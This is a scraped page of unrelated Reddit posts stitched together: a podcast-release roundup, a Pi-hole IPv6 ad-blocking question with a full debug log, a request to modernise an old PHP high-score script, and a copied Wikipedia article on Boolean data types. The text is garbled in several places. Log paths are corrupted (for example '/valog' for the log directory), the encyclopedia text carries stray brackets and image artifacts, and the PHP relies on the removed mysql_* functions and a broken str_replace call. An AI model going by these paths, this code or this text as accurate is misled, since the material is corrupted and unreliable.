Synopsis: A Real-Play Dungeons and Dragons Podcast featuring Cayce McWilliams, WIll Truax, Anthony Carluccio, and Jeff Nabors as your local benevolent Dungeon Master. We are currently in a homebrewed world called Sirine, a high-fantasy world of political intrigue and bizarre, powerful magic.
RSS Feed: https://rerollexpectations.libsyn.com/rss

4/15: Tale of the Manticore (RPG - Fantasy)
Site: https://taleofthemanticore.podbean.com
Synopsis: Tale of the Manticore is a hybrid between a dark fantasy audio drama and a solo D&D RPG. The dice make all the important decisions and, as a writer, my job is to interpret them and tell their story. Part fiction, part game, it's the story where "Chaos rolls."
RSS Feed: https://feed.podbean.com/taleofthemanticore/feed.xml

4/15: The New Colossus (Dramatised - Adaptation)
Site: https://www.thenewcolossuspodcast.com/
Synopsis: A family of frustrated, attention-starved artists flocks to the seashore. One of them has a gun...what could possibly go wrong? A darkly comic reboot of Chekhov’s classic THE SEAGULL, this rollicking tale examines the pitfalls of making art and making love in modern day America.
RSS Feed: https://www.thenewcolossuspodcast.com/feed/podcast/

4/15: War of the Words (Dramatised - Anthology)
Site: https://www.conemanrunning.com/
Synopsis: Cone Man Running Productions is excited to present the next level of audioplay competition. Sixteen playwrights bracketed sweet sixteen-style to go head to head. They have 48 hours to write an original audio play with given parameters. The plays are then recorded and edited and rolled out in their bracketed pairs. The audience then decides who wins each bracket battle by voting at our website at www.conemanrunning.com. Once the winners are selected, they will then go head to head until there is only one playwright left standing!
RSS Feed: http://warofthewords.libsyn.com/rss

(See comments for part 2.)
Previous months are available here:
https://www.thecambridgegeek.com/results.php?proof=Releases&tag1=Audio%20fiction
And the ongoing updates (just in case you don't want to wait for the end of the month) are available here:
https://twitter.com/AudioDramaDebut
And I do a weekly podcast collecting a few trailers here:
https://www.thecambridgegeek.com/archive/add/add.php
submitted by thecambridgegeek to audiodrama [link] [comments]


2020.04.20 02:26 peterrakolcza PiHole working, but not really

Hey!
So, recently I installed PiHole on my server (Lenovo T410 with 6GB RAM) with docker, I even configured Ubuntu's dns server as it was using port 53. Also, I set the router's primary DNS to my local static IP. However, clients seem to be still have ads...often. What I found out that my ISP's router, which I am using with a EAP225v3, doesnt have the option to turn off IPv6 (Sagecomm [email protected] 3890v3). When I disable IPv6 in my computer's network adapters setting everything seems fine, speedtest.net has no ads. But as soon as I enable it, ads come back. Similar story with my iPad, with auto DNS settings, ads are present, but when I configure it manually to my server, ads disappear... Strange, anything to do with IPv6? Maybe the docker container cannot block IPv6 and ads' traffic go through...
I generated a debug log:
This process collects information from your Pi-hole, and optionally uploads it to a unique and random directory on tricorder.pi-hole.net. The intent of this script is to allow users to self-diagnose their installations. This is accomplished by running tests against our software and providing the user with links to FAQ articles when a problem is detected. Since we are a small team and Pi-hole has been growing steadily, it is our hope that this will help us spend more time on development. NOTE: All log files auto-delete after 48 hours and ONLY the Pi-hole developers can access your data via the given token. We have taken these extra steps to secure your data and will work to further reduce any personal information gathered. *** [ INITIALIZING ] [i] 2020-04-20:00:25:01 debug log has been initialized. *** [ INITIALIZING ] Sourcing setup variables [i] Sourcing /etc/pihole/setupVars.conf... *** [ DIAGNOSING ]: Core version [i] Core: v4.4 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.4-0-g9e49077 *** [ DIAGNOSING ]: Web version [i] Web: v4.3.3 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.3.3-0-g62f2ffc *** [ DIAGNOSING ]: FTL version [✓] FTL: v4.3.1 *** [ DIAGNOSING ]: lighttpd version [i] 1.4.45 *** [ DIAGNOSING ]: php version [i] 7.0.33 *** [ DIAGNOSING ]: Operating system [✓] Debian GNU/Linux 9 (stretch) *** [ DIAGNOSING ]: SELinux [i] SELinux not detected *** [ DIAGNOSING ]: Processor [i] x86_64 *** [ DIAGNOSING ]: Networking [✓] IPv4 address(es) bound to the eth0 interface: 172.17.0.3/16 does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127) [✗] No IPv6 address(es) found on the eth0 interface. [i] Default IPv4 gateway: 172.17.0.1 * Pinging 172.17.0.1... [✓] Gateway responded. *** [ DIAGNOSING ]: Ports in use [53] is in use by pihole-FTL [53] is in use by pihole-FTL [4711] is in use by pihole-FTL *** [ DIAGNOSING ]: Name resolution (IPv4) using a random blocked domain and a known ad-serving domain [✓] www.moha-group.com is 0.0.0.0 via localhost (127.0.0.1) [✓] www.moha-group.com is 0.0.0.0 via Pi-hole (0.0.0.0) [✓] doubleclick.com is 172.217.20.14 via a remote, public DNS server (8.8.8.8) *** [ DIAGNOSING ]: Pi-hole processes [✗] lighttpd daemon is inactive [✗] pihole-FTL daemon is inactive *** [ DIAGNOSING ]: Setup variables QUERY_LOGGING=true INSTALL_WEB_SERVER=true INSTALL_WEB_INTERFACE=true LIGHTTPD_ENABLED= IPV4_ADDRESS=0.0.0.0 IPV6_ADDRESS= PIHOLE_INTERFACE=eth0 BLOCKING_ENABLED=true DNSMASQ_LISTENING=single PIHOLE_DNS_1=1.1.1.1 PIHOLE_DNS_2=1.0.0.1 DNS_FQDN_REQUIRED=false DNS_BOGUS_PRIV=false DNSSEC=false CONDITIONAL_FORWARDING=false *** [ DIAGNOSING ]: Dashboard and block page [✓] Block page X-Header: X-Pi-hole: A black hole for Internet advertisements. [✓] Web interface X-Header: X-Pi-hole: The Pi-hole Web interface is working! *** [ DIAGNOSING ]: Gravity list -rw-r--r-- 1 root root 1881489 Apr 19 16:11 /etc/pihole/gravity.list -----head of gravity.list------ 0.0.0.0 0.0.0.0.beeglivesex.com 0.0.0.0.creative.hpyrdr.com 0.0.0.0.hpyrdr.com -----tail of gravity.list------ zzz.clickbank.net zzzezeroe.fr zzzpooeaz-france.com zzzrtrcm2.com *** [ DIAGNOSING ]: contents of /etc/pihole -rw-r--r-- 1 root root 313 Apr 19 16:00 /etc/pihole/adlists.list https://raw.githubusercontent.com/StevenBlack/hosts/mastehosts https://mirror1.malwaredomains.com/files/justdomains http://sysctl.org/cameleon/hosts https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt https://hosts-file.net/ad_servers.txt -rw-r--r-- 1 root root 37 Apr 19 16:11 /etc/pihole/local.list 0.0.0.0 69430f9126df 0.0.0.0 pi.hole *** [ DIAGNOSING ]: contents of /etc/dnsmasq.d -rw-r--r-- 1 root root 1420 Apr 19 16:11 /etc/dnsmasq.d/01-pihole.conf addn-hosts=/etc/pihole/gravity.list addn-hosts=/etc/pihole/black.list addn-hosts=/etc/pihole/local.list localise-queries no-resolv cache-size=10000 log-queries log-facility=/valog/pihole.log local-ttl=2 log-async server=1.1.1.1 server=1.0.0.1 interface=eth0 server=/use-application-dns.net/ *** [ DIAGNOSING ]: contents of /etc/lighttpd -rw-r--r-- 1 root root 3499 Apr 19 16:04 /etc/lighttpd/lighttpd.conf server.modules = ( "mod_access", "mod_accesslog", "mod_auth", "mod_expire", "mod_compress", "mod_redirect", "mod_setenv", "mod_rewrite" ) server.document-root = "/vawww/html" server.error-handler-404 = "/pihole/index.php" server.upload-dirs = ( "/vacache/lighttpd/uploads" ) server.errorlog = "/valog/lighttpd/error.log" server.pid-file = "/varun/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 accesslog.filename = "/valog/lighttpd/access.log" accesslog.format = "%{%s}t%V%r%s%b" index-file.names = ( "index.php", "index.html", "index.lighttpd.html" ) url.access-deny = ( "~", ".inc", ".md", ".yml", ".ini" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/vacache/lighttpd/compress/" compress.filetype = ( "application/javascript", "text/css", "text/html", "text/plain" ) mimetype.assign = ( ".png" => "image/png", ".jpg" => "image/jpeg", ".jpeg" => "image/jpeg", ".html" => "text/html", ".css" => "text/css; charset=utf-8", ".js" => "application/javascript", ".json" => "application/json", ".txt" => "text/plain", ".svg" => "image/svg+xml" ) include_shell "/usshare/lighttpd/use-ipv6.pl " + server.port include_shell "find /etc/lighttpd/conf-enabled -name '*.conf' -a ! -name 'letsencrypt.conf' -printf 'include \"%p\" ' 2>/dev/null" $HTTP["url"] =~ "^/admin/" { setenv.add-response-header = ( "X-Pi-hole" => "The Pi-hole Web interface is working!", "X-Frame-Options" => "DENY" ) $HTTP["url"] =~ ".ttf$" { setenv.add-response-header = ( "Access-Control-Allow-Origin" => "*" ) } } $HTTP["url"] =~ "^/admin/\.(.*)" { url.access-deny = ("") } include_shell "cat external.conf 2>/dev/null" *** [ DIAGNOSING ]: contents of /etc/cron.d -rw-r--r-- 1 root root 1704 Feb 26 18:39 /etc/cron.d/pihole 17 4 * * 7 root PATH="$PATH:/uslocal/bin/" pihole updateGravity >/valog/pihole_updateGravity.log cat /valog/pihole_updateGravity.log 00 00 * * * root PATH="$PATH:/uslocal/bin/" pihole flush once quiet @reboot root /ussbin/logrotate /etc/pihole/logrotate */10 * * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker local 22 12 * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote @reboot root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote reboot *** [ DIAGNOSING ]: contents of /valog/lighttpd -rw-r--r-- 1 www-data www-data 49 Apr 19 16:09 /valog/lighttpd/error.log 2020-04-19 18:09:39: (log.c.217) server started *** [ DIAGNOSING ]: contents of /valog -rw-r--r-- 1 root root 18178 Apr 19 22:31 /valog/pihole-FTL.log -----head of pihole-FTL.log------ [2020-04-19 18:00:14.961 339] Using log file /valog/pihole-FTL.log [2020-04-19 18:00:14.961 339] ########## FTL started! ########## [2020-04-19 18:00:14.961 339] FTL branch: master [2020-04-19 18:00:14.961 339] FTL version: v4.3.1 [2020-04-19 18:00:14.961 339] FTL commit: b60d63f [2020-04-19 18:00:14.961 339] FTL date: 2019-05-25 21:37:26 +0200 [2020-04-19 18:00:14.961 339] FTL user: root [2020-04-19 18:00:14.961 339] Starting config file parsing (/etc/pihole/pihole-FTL.conf) [2020-04-19 18:00:14.961 339] SOCKET_LISTENING: only local [2020-04-19 18:00:14.961 339] AAAA_QUERY_ANALYSIS: Show AAAA queries [2020-04-19 18:00:14.961 339] MAXDBDAYS: max age for stored queries is 365 days [2020-04-19 18:00:14.961 339] RESOLVE_IPV6: Resolve IPv6 addresses [2020-04-19 18:00:14.961 339] RESOLVE_IPV4: Resolve IPv4 addresses [2020-04-19 18:00:14.961 339] DBINTERVAL: saving to DB file every minute [2020-04-19 18:00:14.961 339] DBFILE: Using /etc/pihole/pihole-FTL.db [2020-04-19 18:00:14.961 339] MAXLOGAGE: Importing up to 24.0 hours of log data [2020-04-19 18:00:14.962 339] PRIVACYLEVEL: Set to 0 [2020-04-19 18:00:14.962 339] IGNORE_LOCALHOST: Show queries from localhost [2020-04-19 18:00:14.962 339] BLOCKINGMODE: Null IPs for blocked domains [2020-04-19 18:00:14.962 339] ANALYZE_ONLY_A_AND_AAAA: Disabled. Analyzing all queries [2020-04-19 18:00:14.962 339] DBIMPORT: Importing history from database [2020-04-19 18:00:14.962 339] PIDFILE: Using /varun/pihole-FTL.pid [2020-04-19 18:00:14.962 339] PORTFILE: Using /varun/pihole-FTL.port [2020-04-19 18:00:14.962 339] SOCKETFILE: Using /varun/pihole/FTL.sock [2020-04-19 18:00:14.962 339] WHITELISTFILE: Using /etc/pihole/whitelist.txt [2020-04-19 18:00:14.962 339] BLACKLISTFILE: Using /etc/pihole/black.list [2020-04-19 18:00:14.962 339] GRAVITYFILE: Using /etc/pihole/gravity.list [2020-04-19 18:00:14.962 339] REGEXLISTFILE: Using /etc/pihole/regex.list [2020-04-19 18:00:14.962 339] SETUPVARSFILE: Using /etc/pihole/setupVars.conf [2020-04-19 18:00:14.962 339] AUDITLISTFILE: Using /etc/pihole/auditlog.list [2020-04-19 18:00:14.962 339] MACVENDORDB: Using /etc/pihole/macvendor.db [2020-04-19 18:00:14.962 339] PARSE_ARP_CACHE: Active [2020-04-19 18:00:14.962 339] Finished config file parsing [2020-04-19 18:00:14.962 339] WARNING: Starting pihole-FTL as user root is not recommended [2020-04-19 18:00:14.962 339] SQLite3 message: cannot open file at line 38452 of [0eca3dd3d3] (14) -----tail of pihole-FTL.log------ [2020-04-19 18:11:23.646 1329] Database successfully initialized [2020-04-19 18:11:23.646 1329] New forward server: 8.8.4.4 (0/512) [2020-04-19 18:11:23.647 1329] New forward server: 8.8.8.8 (1/512) [2020-04-19 18:11:23.647 1329] Imported 149 queries from the long-term database [2020-04-19 18:11:23.647 1329] -> Total DNS queries: 149 [2020-04-19 18:11:23.647 1329] -> Cached DNS queries: 7 [2020-04-19 18:11:23.647 1329] -> Forwarded DNS queries: 136 [2020-04-19 18:11:23.647 1329] -> Exactly blocked DNS queries: 6 [2020-04-19 18:11:23.647 1329] -> Unknown DNS queries: 0 [2020-04-19 18:11:23.647 1329] -> Unique domains: 13 [2020-04-19 18:11:23.647 1329] -> Unique clients: 2 [2020-04-19 18:11:23.647 1329] -> Known forward destinations: 2 [2020-04-19 18:11:23.647 1329] Successfully accessed setupVars.conf [2020-04-19 18:11:23.647 1329] ************************************************************************* [2020-04-19 18:11:23.647 1329] * WARNING: Required Linux capability CAP_NET_ADMIN not available * [2020-04-19 18:11:23.647 1329] ************************************************************************* [2020-04-19 18:11:24.016 1329] PID of FTL process: 1329 [2020-04-19 18:11:24.016 1329] Listening on port 4711 for incoming IPv4 telnet connections [2020-04-19 18:11:24.017 1329] Listening on Unix socket [2020-04-19 18:11:24.017 1329] Received SIGHUP, reloading cache [2020-04-19 18:11:24.017 1329] Blocking status is enabled [2020-04-19 18:11:24.017 1329] INFO: No whitelist file found [2020-04-19 18:11:24.017 1329] Compiled 0 Regex filters and 0 whitelisted domains in 0.0 msec (0 errors) [2020-04-19 18:11:24.262 1329] /etc/pihole/gravity.list: parsed 92112 domains (took 244.7 ms) [2020-04-19 18:11:34.269 1329] New forward server: 1.0.0.1 (2/512) [2020-04-19 18:11:35.798 1329] New forward server: 1.1.1.1 (3/512) [2020-04-19 18:11:42.264 1329] Received SIGHUP, reloading cache [2020-04-19 18:11:42.264 1329] Blocking status is enabled [2020-04-19 18:11:42.264 1329] INFO: No whitelist file found [2020-04-19 18:11:42.264 1329] Compiled 0 Regex filters and 0 whitelisted domains in 0.2 msec (0 errors) [2020-04-19 18:11:42.431 1329] /etc/pihole/gravity.list: parsed 92112 domains (took 125.1 ms) [2020-04-19 20:49:28.694 1329] Resizing "/FTL-strings" from 4096 to 8192 [2020-04-19 21:31:51.085 1329] Resizing "/FTL-queries" from 229376 to 458752 [2020-04-19 22:56:42.421 1329] Resizing "/FTL-queries" from 458752 to 688128 [2020-04-20 00:31:41.840 1329] Resizing "/FTL-strings" from 8192 to 12288 *** [ DIAGNOSING ]: contents of /dev/shm -rw------- 1 root root 331776 Apr 19 17:31 /dev/shm/FTL-clients -rw------- 1 root root 108 Apr 19 16:11 /dev/shm/FTL-counters -rw------- 1 root root 98304 Apr 19 22:32 /dev/shm/FTL-domains -rw------- 1 root root 20480 Apr 19 16:11 /dev/shm/FTL-forwarded -rw------- 1 root root 48 Apr 19 16:11 /dev/shm/FTL-lock -rw------- 1 root root 12288 Apr 19 16:11 /dev/shm/FTL-overTime -rw------- 1 root root 688128 Apr 19 20:59 /dev/shm/FTL-queries -rw------- 1 root root 12 Apr 19 16:11 /dev/shm/FTL-settings -rw------- 1 root root 12288 Apr 19 22:31 /dev/shm/FTL-strings *** [ DIAGNOSING ]: Locale LANG= *** [ DIAGNOSING ]: Pi-hole log -rw-r--r-- 1 pihole pihole 303626 Apr 20 00:25 /valog/pihole.log -----head of pihole.log------ Apr 20 00:00:21 dnsmasq[1329]: query[A] pi.hole from 127.0.0.1 Apr 20 00:00:21 dnsmasq[1329]: forwarded pi.hole to 1.0.0.1 Apr 20 00:00:21 dnsmasq[1329]: forwarded pi.hole to 1.1.1.1 Apr 20 00:00:21 dnsmasq[1329]: forwarded pi.hole to 1.0.0.1 Apr 20 00:00:21 dnsmasq[1329]: reply error is SERVFAIL Apr 20 00:00:31 dnsmasq[1329]: query[A] GoOGlE.Com from 172.17.0.1 Apr 20 00:00:31 dnsmasq[1329]: forwarded GoOGlE.Com to 1.1.1.1 Apr 20 00:00:31 dnsmasq[1329]: reply GoOGlE.Com is 172.217.22.14 Apr 20 00:00:36 dnsmasq[1329]: query[A] GoOGlE.Com from 172.17.0.1 Apr 20 00:00:36 dnsmasq[1329]: cached GoOGlE.Com is 172.217.22.14 Apr 20 00:00:41 dnsmasq[1329]: query[A] GoOGlE.Com from 172.17.0.1 Apr 20 00:00:41 dnsmasq[1329]: cached GoOGlE.Com is 172.217.22.14 Apr 20 00:00:51 dnsmasq[1329]: query[A] pi.hole from 127.0.0.1 Apr 20 00:00:51 dnsmasq[1329]: forwarded pi.hole to 1.1.1.1 Apr 20 00:00:51 dnsmasq[1329]: forwarded pi.hole to 1.0.0.1 Apr 20 00:00:51 dnsmasq[1329]: forwarded pi.hole to 1.1.1.1 Apr 20 00:00:51 dnsmasq[1329]: reply error is SERVFAIL Apr 20 00:01:22 dnsmasq[1329]: query[A] pi.hole from 127.0.0.1 Apr 20 00:01:22 dnsmasq[1329]: forwarded pi.hole to 1.1.1.1 ******************************************** ******************************************** [✓] ** FINISHED DEBUGGING! ** * The debug log can be uploaded to tricorder.pi-hole.net for sharing with developers only. * For more information, see: https://pi-hole.net/2016/11/07/crack-our-medical-tricorder-win-a-raspberry-pi-3/ * If available, we'll use openssl to upload the log, otherwise it will fall back to netcat. [i] Debug script running in automated mode * Using curl for transmission. *********************************** *********************************** [✓] Your debug token is: https://tricorder.pi-hole.net/moqp05mnc8 *********************************** *********************************** * Provide the token above to the Pi-hole team for assistance at * https://discourse.pi-hole.net * Your log will self-destruct on our server after 48 hours. * A local copy of the debug log can be found at: /valog/pihole_debug.log 
submitted by peterrakolcza to pihole [link] [comments]


2020.04.18 16:12 AndresHdz77 Can someone help me updating this script? (I don't know PHP)

I don't know SQL or PHP, and I am making a game with online scores, I found this script but seems outdated as it is from 2014 and doesn't work on new PHP versions . I would appreciate some help with this as it is breaking my head. The code is the problem as I can access my DB with no problem


///////////////////////////////////////////////////////
// Online Score Script
// Jeff Vance
// Version 1.4
//////////////////////////////////////////////////////
//////////////////////////////////////////////////////
// WARNING AND READ THIS!
// You don't need to edit this file
// The only file to edit is config.php
// Don't edit this unless you know what your doing :)
// This works out of the box -- your error must be in config.php
/////////////////////////////////////////////////////
// Get Configuation file
require("config.php");
// Connect to your server
$db=mysql_connect($mysql_host,$mysql_user,$mysql_password) or die (mysql_error());
u/mysql_select_db($mysql_database) or die (mysql_error());
//////////////////////////////////////////////////
// Check for the existing table if its not found create it
// This is really just here to make the life of new users of the script eaiser
// They won't have to go thru the script and create the table
/////////////////////////////////////////////////
if(!mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$tname."'")))
{
$query = "CREATE TABLE \$tname` (`id` int(11) NOT NULL auto_increment,`gameid` varchar(255) NOT NULL,`playername` varchar(255) NOT NULL,`score` int(255) NOT NULL,`scoredate` varchar(255) NOT NULL,`md5` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;";`
$create_table = mysql_query($query)or die (mysql_error());
// Preload table with 10 scores
$date = date('M d Y');
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Clickteam','100','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Fusion','99','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','is','98','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','awesome','97','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Yves','96','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Francois','95','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Jeff','94','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Simon','93','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Chris','92','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
$query = "insert into $tname(gameid,playername,score,scoredate) values ('1','Nico','91','$date')";
$insert_the_data = mysql_query($query)or die(mysql_error());
}
///////////////////////////////////////////////////////
// Status Checker
///////////////////////////////////////////////////////
if ($_GET["status"])
{
echo "online";
exit;
}
////////////////////////////////////////////////////////
// Run some checks on our gameid
////////////////////////////////////////////////////////
$gameid_safe = mysql_real_escape_string($_GET["gameid"]);
// Check the gameid is numeric
// If its not numberic lets exit
if(!is_numeric($gameid_safe))
{
exit;
}
///////////////////////////////////////////////////////
// Upload new score
///////////////////////////////////////////////////////
// Test for the variables submitted by the player
// If they exist upload into the database
if ($_GET["playername"] && $_GET["gameid"] && $_GET["score"])
{
// Strip out marks submitted in the name or score
$playername_safe = str_replace("","_",$_GET["playername"]);
$playername_safe = mysql_real_escape_string($playername_safe);
$score_safe = mysql_real_escape_string($_GET["score"]);
$date = date('M d Y');
// Check the score sent is is numeric
// If the score is not numberic lets exit
if(!is_numeric($score_safe))
{
exit;
}
// this secret key needs to be the same as the secret key in your game.
$security_md5= md5($_GET["gameid"].$_GET["playername"].$_GET["score"].$secret_key);
// Check for submitted MD5 different then server generated MD5
if ($security_md5 <>$_GET["code"])
{
// Something is wrong -- MD5 security hash is different
// Could be someone trying to insert bogus score data
exit;
}
// Everything is cool -- Insert the data into the database
$query = "insert into $tname(gameid,playername,score,scoredate,md5) values ('$gameid_safe','$playername_safe','$score_safe','$date','$security_md5')";
$insert_the_data = mysql_query($query)or die(mysql_error());
}
///////////////////////////////////////////////////////
// List high score
///////////////////////////////////////////////////////
// Return a list of high scores with "" as the delimiter
if ($gameid_safe)
{
$query = "select * from $tname where gameid='$gameid_safe' order by score desc limit 10";
$view_data = mysql_query($query)or die(mysql_error());
while($row_data = mysql_fetch_array($view_data))
 `{` `print($row_data["playername"]);` `print "";` `print ($row_data["score"]);` `print ("");` `print($row_data["scoredate"]);` `print("");` `}` 
// We limit the score database to hold the number defined in the config script
// First check to see how many records we have for this game
$query1 ="select * from $tname where gameid = '$gameid_safe'";
$countresults = mysql_query($query1)or die(mysql_error());
$countofdeletes = mysql_num_rows($countresults);
if (mysql_num_rows($countresults)>$score_number)
 `{` `$query2 ="SELECT * FROM $tname WHERE gameid = '$gameid_safe' ORDER BY score DESC Limit $score_number,$countofdeletes";` `$Get_data = mysql_query($query2)or die (mysql_error());` `while($row_data = mysql_fetch_array($Get_data))` `{` `$id_delete = $row_data["id"];` `$query3 = "Delete from $tname where id = $id_delete";` `$Delete_data = mysql_query($query3)or die (mysql_error());` `}` `}` 
}
?>
submitted by AndresHdz77 to PHPhelp [link] [comments]


2020.04.12 00:56 finnarfish boolean

Boolean data type

From Wikipedia, the free encyclopedia Jump to navigation Jump to search
In computer science, the Boolean data type is a data type that has one of two possible values (usually denoted true and false) which is intended to represent the two truth values of logic and Boolean algebra. It is named after George Boole, who first defined an algebraic system of logic in the mid 19th century. The Boolean data type is primarily associated with conditional) statements, which allow different actions by changing control flow depending on whether a programmer-specified Boolean condition evaluates to true or false. It is a special case of a more general logical data type (see probabilistic logic)—logic doesn't always need to be Boolean.

Contents


Generalities

In programming languages with a built-in Boolean data type, such as Pascal) and Java), the comparison operators such as > and ≠ are usually defined to return a Boolean value. Conditional and iterative commands may be defined to test Boolean-valued expressions.
Languages with no explicit Boolean data type, like C90 and Lisp), may still represent truth values by some other data type. Common Lisp uses an empty list for false, and any other value for true. The C programming language uses an integer) type, where relational expressions like i > j and logical expressions connected by && and are defined to have value 1 if true and 0 if false, whereas the test parts of if , while , for , etc., treat any non-zero value as true.[1][2] Indeed, a Boolean variable may be regarded (and implemented) as a numerical variable with one binary digit (bit), which can store only two values. The implementation of Booleans in computers are most likely represented as a full word), rather than a bit; this is usually due to the ways computers transfer blocks of information.
Most programming languages, even those with no explicit Boolean type, have support for Boolean algebraic operations such as conjunction (AND , & , * ), disjunction (OR , , + ), equivalence (EQV , = , == ), exclusive or/non-equivalence (XOR , NEQV , ^ , != ), and negation (NOT , ~ , ! ).
In some languages, like Ruby), Smalltalk, and Alice) the true and false values belong to separate classes), i.e., True and False , respectively, so there is no one Boolean type.
In SQL, which uses a three-valued logic for explicit comparisons because of its special treatment of Nulls), the Boolean data type (introduced in SQL:1999) is also defined to include more than two truth values, so that SQL Booleans can store all logical values resulting from the evaluation of predicates in SQL. A column of Boolean type can also be restricted to just TRUE and FALSE though.

ALGOL and the built-in boolean type

One of the earliest programming languages to provide an explicit boolean data type is ALGOL 60 (1960) with values true and false and logical operators denoted by symbols ' ∧ {\displaystyle \wedge } 📷' (and), ' ∨ {\displaystyle \vee } 📷' (or), ' ⊃ {\displaystyle \supset } 📷' (implies), ' ≡ {\displaystyle \equiv } 📷' (equivalence), and ' ¬ {\displaystyle \neg } 📷' (not). Due to input device and character set limits on many computers of the time, however, most compilers used alternative representations for many of the operators, such as AND or 'AND' .
This approach with boolean as a built-in (either primitive or otherwise predefined) data type was adopted by many later programming languages, such as Simula 67 (1967), ALGOL 68 (1970),[3] Pascal) (1970), Ada) (1980), Java) (1995), and C#) (2000), among others.

Fortran

The first version of FORTRAN (1957) and its successor FORTRAN II (1958) have no logical values or operations; even the conditional IF statement takes an arithmetic expression and branches to one of three locations according to its sign; see arithmetic IF. FORTRAN IV (1962), however, follows the ALGOL 60 example by providing a Boolean data type (LOGICAL ), truth literals (.TRUE. and .FALSE. ), Boolean-valued numeric comparison operators (.EQ. , .GT. , etc.), and logical operators (.NOT. , .AND. , .OR. ). In FORMAT statements, a specific format descriptor ('L ') is provided for the parsing or formatting of logical values.[4]

Lisp and Scheme

The language Lisp) (1958) never had a built-in Boolean data type. Instead, conditional constructs like cond assume that the logical value false is represented by the empty list () , which is defined to be the same as the special atom nil or NIL ; whereas any other s-expression is interpreted as true. For convenience, most modern dialects of Lisp predefine the atom t to have value t , so that t can be used as a mnemonic notation for true.
This approach (any value can be used as a Boolean value) was retained in most Lisp dialects (Common Lisp, Scheme), Emacs Lisp), and similar models were adopted by many scripting languages, even ones having a distinct Boolean type or Boolean values; although which values are interpreted as false and which are true vary from language to language. In Scheme, for example, the false value is an atom distinct from the empty list, so the latter is interpreted as true.

Pascal, Ada, and Haskell

The language Pascal) (1970) introduced the concept of programmer-defined enumerated types. A built-in Boolean data type was then provided as a predefined enumerated type with values FALSE and TRUE . By definition, all comparisons, logical operations, and conditional statements applied to and/or yielded Boolean values. Otherwise, the Boolean type had all the facilities which were available for enumerated types in general, such as ordering and use as indices. In contrast, converting between Boolean s and integers (or any other types) still required explicit tests or function calls, as in ALGOL 60. This approach (Boolean is an enumerated type) was adopted by most later languages which had enumerated types, such as Modula, Ada), and Haskell).

C, C++, Objective-C, AWK

Initial implementations of the language C) (1972) provided no Boolean type, and to this day Boolean values are commonly represented by integers (int s) in C programs. The comparison operators (> , == , etc.) are defined to return a signed integer (int ) result, either 0 (for false) or 1 (for true). Logical operators (&& , , ! , etc.) and condition-testing statements (if , while ) assume that zero is false and all other values are true.
After enumerated types (enum s) were added to the American National Standards Institute version of C, ANSI C (1989), many C programmers got used to defining their own Boolean types as such, for readability reasons. However, enumerated types are equivalent to integers according to the language standards; so the effective identity between Booleans and integers is still valid for C programs.
Standard C) (since C99) provides a boolean type, called _Bool . By including the header stdbool.h , one can use the more intuitive name bool and the constants true and false . The language guarantees that any two true values will compare equal (which was impossible to achieve before the introduction of the type). Boolean values still behave as integers, can be stored in integer variables, and used anywhere integers would be valid, including in indexing, arithmetic, parsing, and formatting. This approach (Boolean values are just integers) has been retained in all later versions of C. Note, that this does not mean that any integer value can be stored in a boolean variable.
C++ has a separate Boolean data type bool , but with automatic conversions from scalar and pointer values that are very similar to those of C. This approach was adopted also by many later languages, especially by some scripting languages such as AWK.
Objective-C also has a separate Boolean data type BOOL , with possible values being YES or NO , equivalents of true and false respectively.[5] Also, in Objective-C compilers that support C99, C's _Bool type can be used, since Objective-C is a superset of C.

Perl and Lua

Perl has no boolean data type. Instead, any value can behave as boolean in boolean context (condition of if or while statement, argument of && or , etc.). The number 0 , the strings "0" and "" , the empty list () , and the special value undef evaluate to false.[6] All else evaluates to true.
Lua) has a boolean data type, but non-boolean values can also behave as booleans. The non-value nil evaluates to false, whereas every other data type always evaluates to true, regardless of value.

Tcl

Tcl has no separate Boolean type. Like in C, the integers 0 (false) and 1 (true - in fact any nonzero integer) are used.[7]
Examples of coding:
set v 1 if { $v } { puts "V is 1 or true" }
The above will show "V is 1 or true" since the expression evaluates to '1'
set v "" if { $v } ....
The above will render an error as variable 'v' cannot be evaluated as '0' or '1'

Python, Ruby, and JavaScript

Python), from version 2.3 forward, has a bool type which is a subclass) of int , the standard integer type.[8] It has two possible values: True and False , which are special versions of 1 and 0 respectively and behave as such in arithmetic contexts. Also, a numeric value of zero (integer or fractional), the null value (None ), the empty string), and empty containers (i.e. lists), sets), etc.) are considered Boolean false; all other values are considered Boolean true by default.[9] Classes can define how their instances are treated in a Boolean context through the special method __nonzero__ (Python 2) or __bool__ (Python 3). For containers, __len__ (the special method for determining the length of containers) is used if the explicit Boolean conversion method is not defined.
